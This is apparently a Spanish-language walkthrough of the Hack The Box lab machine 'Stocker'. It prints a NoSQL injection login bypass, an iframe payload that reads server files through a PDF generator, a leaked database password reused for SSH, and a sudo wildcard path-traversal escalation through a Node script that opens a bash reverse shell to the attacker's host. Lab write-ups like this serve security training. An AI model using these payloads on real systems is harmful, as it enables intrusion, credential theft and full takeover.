Descripción

Stocker es una máquina fácil de Hack The Box que cuenta con las siguientes vulnerabilidades:

  • Enumeración de VHOST
  • Inyección NoSQL
  • XSS en el servidor usando un archivo PDF dinámico
  • Exposición de datos sensibles
  • Escalada de privilegios ejecutando Sudo ignorando las rutas.

Reconocimiento

Primero, vamos a comprobar con el comando ping si la máquina está activa y el sistema operativo. La dirección IP de la máquina de destino es 10.10.11.196.

$ ping -c 3 10.10.11.196
PING 10.10.11.196 (10.10.11.196) 56(84) bytes of data.
64 bytes from 10.10.11.196: icmp_seq=1 ttl=63 time=43.3 ms
64 bytes from 10.10.11.196: icmp_seq=2 ttl=63 time=43.5 ms
64 bytes from 10.10.11.196: icmp_seq=3 ttl=63 time=43.3 ms

--- 10.10.11.196 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2004ms
rtt min/avg/max/mdev = 43.315/43.389/43.527/0.097 ms

La máquina está activa y con el TTL equivalente a 63 (64 menos 1 salto) podemos asegurar que es una máquina basada en Unix. Ahora vamos a hacer un escaneo de puertos TCP SYN con Nmap para comprobar todos los puertos abiertos.

$ sudo nmap 10.10.11.196 -sS -oN nmap_scan 
Starting Nmap 7.93 ( https://nmap.org )
Nmap scan report for 10.10.11.196
Host is up (0.042s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 28.79 seconds

Obtenemos dos puertos abiertos, 22 y 80.

Enumeración

Luego hacemos un escaneo más avanzado, con la detección de la versión de los servicios y el uso de scripts.

$ nmap 10.10.11.196 -sV -sC -p22,80 -oN nmap_scan_ports 
Starting Nmap 7.93 ( https://nmap.org )
Nmap scan report for 10.10.11.196
Host is up (0.043s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 3d12971d86bc161683608f4f06e6d54e (RSA)
|   256 7c4d1a7868ce1200df491037f9ad174f (ECDSA)
|_  256 dd978050a5bacd7d55e827ed28fdaa3b (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://stocker.htb
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.96 seconds

Obtenemos dos servicios: Secure Shell (SSH) y Hypertext Transfer Protocol (HTTP) ejecutándose en un Linux Ubuntu. Como no tenemos credenciales factibles para el servicio SSH vamos a pasar al servicio HTTP. Observamos que el servicio alberga un sitio web http://stocker.htb, por lo que lo añadimos a nuestro archivo local /etc/hosts.

$ echo "10.10.11.196 stocker.htb" | sudo tee -a /etc/hosts

Con la herramienta WhatWeb podemos enumerar las tecnologías del sitio web.

$ whatweb --log-brief web_techs http://stocker.htb      
http://stocker.htb [200 OK] Bootstrap, Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], IP[10.10.11.196], Meta-Author[Holger Koenemann], MetaGenerator[Eleventy v2.0.0], Script, Title[Stock - Coming Soon!], nginx[1.18.0]

Observamos que el sitio web está alojado en un servidor web nginx 1.18.0. Si vamos al navegador web obtenemos una página de plantilla simple sobre una tienda futura que se abrirá en el futuro sin ninguna funcionalidad. Enumerando directorios con la herramienta Gobuster encontramos directorios de recursos a los que no se puede acceder.

$ gobuster dir -u http://stocker.htb/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt -o directory_enumeration 
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://stocker.htb/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.5
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/img                  (Status: 301) [Size: 178] [--> http://stocker.htb/img/]
/css                  (Status: 301) [Size: 178] [--> http://stocker.htb/css/]
/js                   (Status: 301) [Size: 178] [--> http://stocker.htb/js/]
/fonts                (Status: 301) [Size: 178] [--> http://stocker.htb/fonts/]
Progress: 87661 / 87665 (100.00%)
===============================================================
Finished
===============================================================

Luego enumeramos los Hosts Virtuales (Subdominios) hospedados en el servidor web usando Gobuster. Es necesario utilizar el parámetro --append-domain para anexar a la solicitud el dominio original (stocker.htb).

$ gobuster vhost -u stocker.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt --append-domain -o vhost_enumeration   
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:             http://stocker.htb
[+] Method:          GET
[+] Threads:         10
[+] Wordlist:        /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
[+] User Agent:      gobuster/3.5
[+] Timeout:         10s
[+] Append Domain:   true
===============================================================
Starting gobuster in VHOST enumeration mode
===============================================================
Found: dev.stocker.htb Status: 302 [Size: 28] [--> /login]
Progress: 4913 / 4990 (98.46%)
===============================================================
Finished
===============================================================

Encontramos un subdominio, dev.stocker.htb, que redirige a una página de inicio de sesión, por lo que lo añadimos al archivo /etc/hosts.

$ echo "10.10.11.196 dev.stocker.htb" | sudo tee -a /etc/hosts

Con WhatWeb podemos ver las tecnologías del subdominio.

$ whatweb --log-brief web_techs http://debstocker.htb
http://dev.stocker.htb/login [200 OK] Bootstrap, Cookies[connect.sid], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], HttpOnly[connect.sid], IP[10.10.11.196], Meta-Author[Mark Otto, Jacob Thornton, and Bootstrap contributors], MetaGenerator[Hugo 0.84.0], PasswordField[password], Script, Title[Stockers Sign-in], X-Powered-By[Express], nginx[1.18.0]

Vemos que es una aplicación Express NodeJS que se ejecuta en el servidor web nginx. Sólo tenemos acceso a una página de inicio de sesión que muestra si los datos de inicio de sesión son incorrectos. Si capturamos la solicitud con Burp Suite podemos observar que se envía un formulario con los datos de inicio de sesión.

Formulario de la petición:
username=admin&password=admin

Si enviamos una solicitud JSON con el nombre de usuario y la contraseña también funcionará.

JSON request:
{
	  "username": "admin",
	  "password": "password"
}

Como funciona, podemos pasar a probar algunas vulnerabilidades comunes.

Explotación

Algunas vulnerabilidades comunes como la inyección SQL o la XSS no funcionan. Pero existen otros tipos de bases de datos como MongoDB (NoSQL). Para las bases de datos NoSQL las inyecciones son diferentes. Por ejemplo en esta inyección es posible utilizar el signo no igual ($ne) con un valor aleatorio para engañar la aplicación, haciendo que sea verdadera la condición para el nombre de usuario y la contraseña.

Petición JSON de la inyección SQL:
{
	"username": {
		"$ne": "nosqlinjection"
	},
	"password": {
		"$ne": "nosqlinjection"
	}
}

En lugar de redirigir a la página de error de inicio de sesión, ahora tenemos una redirección a la página /stock. Debido a eso podemos regresar al navegador y reemplazar la cookie que recibimos en la respuesta de Burp Suite. Después de iniciar sesión en el sitio web vemos una tienda en la que podemos comprar algunos productos y luego podemos ver el carrito después de añadir algunos productos. Después de hacer clic en el botón Submit Purchase recibimos la confirmación de la compra y un enlace para descargar el ticket en formato PDF. Al interceptar la solicitud de pedido con Burp Suite vemos una solicitud JSON con los detalles del pedido. En la solicitud vemos que el título de los artículos coincide con los nombres de los artículos en el archivo PDF. Por ejemplo en el caso de Cup.

{"_id":"638f116eeb060210cbd83a8d","title":"Cup","description":"It's a red cup.","image":"red-cup.jpg","price":32,"currentStock":4,"__v":0,"amount":1}

La aplicación podría ser vulnerable a la vulnerabilidad XSS en el lado del servidor (PDF dinámico) que puede divulgar archivos de servidor. Para probarlo, vamos a probar si el código HTML se renderiza.

Código HTML a enviar como título del elemento:
<h1>Rendered text</h1>

Recibimos el ID de pedido para la solicitud así que entramos en el navegador web para comprobar si el PDF del ticket ha renderizado el código HTML. Como vemos el código HTML se renderiza, por lo que la aplicación es vulnerable. Ahora vamos a obtener un archivo, por ejemplo el archivo /etc/passwd, con un iframe.

Código HTML a enviar como título del elemento:
<iframe src=file:///etc/passwd></iframe>

Ahora tenemos en el contenido del archivo passwd, pero el iframe es muy pequeño para mostrar el contenido completo por lo que vamos a modificar la altura y la anchura del iframe para mostrar el archivo completamente.

Código HTML a enviar como título del elemento:
<iframe height=1000 width=1000 src=file:///etc/passwd></iframe>

Con el archivo passwd hemos encontrado dos usuarios de consola: root y angoose. Ahora necesitamos identificar el directorio actual, el directorio de ejecución de la aplicación, para buscar archivos que puedan almacenar credenciales. Enviaremos una solicitud inválida al servidor y comprobaremos si tenemos una traza devuelta. Ahora sabemos que la aplicación se ejecuta en el directorio /var/www/dev. Como sabemos que la aplicación se ejecuta en un servidor NodeJS podemos buscar archivos como index.js o main.js. Utilizando el método anterior podemos obtener el contenido del archivo /var/www/dev/index.js. Estas son las primeras líneas del archivo, que contiene la contraseña de la base de datos, IHeardPassphrasesArePrettySecure.

const express = require("express");
const mongoose = require("mongoose");
const session = require("express-session");
const MongoStore = require("connect-mongo");
const path = require("path");
const fs = require("fs");
const { generatePDF, formatHTML } = require("./pdf.js");
const { randomBytes, createHash } = require("crypto");
const app = express();
const port = 3000;
// TODO: Configure loading from dotenv for production
const dbURI = "mongodb://dev:IHeardPassphrasesArePrettySecure@localhost/dev?authSource=admin&w=1";

Si tratamos de iniciar sesión sobre SSH con el nombre de usuario angoose y la contraseña que obtuvimos conseguimos una terminal.

$ ssh angoose@10.10.11.196
angoose@10.10.11.196's password: 
angoose@stocker:~$ id
uid=1001(angoose) gid=1001(angoose) groups=1001(angoose)

Post-Explotación

Para la escalada de privilegios, podemos echar un vistazo a los comandos que el usuario angoose puede ejecutar como root.

angoose@stocker:~$ sudo -l
Matching Defaults entries for angoose on stocker:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User angoose may run the following commands on stocker:
    (ALL) /usr/bin/node /usr/local/scripts/*.js

Observamos que podemos ejecutar el comando node como root ejecutando todo el código JavaScript presente en /usr/local/scripts. Pero como se especifica un carácter comodín (*) podemos especificar el directorio padre y ejecutar código personalizado ya que no tenemos permiso de escritura en el directorio /usr/local/scripts.

angoose@stocker:~$ ls -l /usr/local/
total 36
drwxr-xr-x 2 root root 4096 Dec  6 10:33 bin
drwxr-xr-x 2 root root 4096 Dec  6 10:33 etc
drwxr-xr-x 2 root root 4096 Dec  6 10:33 games
drwxr-xr-x 2 root root 4096 Dec  6 10:33 include
drwxr-xr-x 3 root root 4096 Dec  6 10:33 lib
lrwxrwxrwx 1 root root    9 Nov 19 10:34 man -> share/man
drwxr-xr-x 2 root root 4096 Dec 23 15:24 sbin
drwxr-xr-x 3 root root 4096 Dec  6 10:33 scripts
drwxr-xr-x 5 root root 4096 Dec  6 10:33 share
drwxr-xr-x 2 root root 4096 Dec  6 10:33 src

Nos moveremos a un directorio temporal y luego creamos el archivo JavaScript que creará una terminal inversa.

angoose@stocker:~$ mktemp -d
/tmp/tmp.AeNvXk7nCG
angoose@stocker:~$ cd /tmp/tmp.AeNvXk7nCG
angoose@stocker:~$ cat<<EOF>elevation.js
const { exec } = require('node:child_process');

exec('"/bin/bash" -c "bash -i >& /dev/tcp/10.10.14.154/1234 0>&1"');

EOF

Abrimos un puerto de escucha en nuestro sistema local.

$ nc -lvnp 1234

Y finalmente ejecutar el comando especificando el directorio.

angoose@stocker:~$ sudo /usr/bin/node /usr/local/scripts/../../../tmp/tmp.AeNvXk7nCG/elevation.js

Obtenemos una terminal como el usuario root.

Flags

Finalmente podemos obtener la flag del usuario y la flag del sistema.

$ nc -lvnp 1234                                                                                                                             
listening on [any] 1234 ...
connect to [10.10.14.154] from (UNKNOWN) [10.10.11.196] 57408
root@stocker:/tmp/tmp.AeNvXk7nCG# id
uid=0(root) gid=0(root) groups=0(root)
root@stocker:/tmp/tmp.AeNvXk7nCG# cat /home/angoose/user.txt
<REDACTED>
root@stocker:/tmp/tmp.AeNvXk7nCG# cat /root/root.txt
<REDACTED>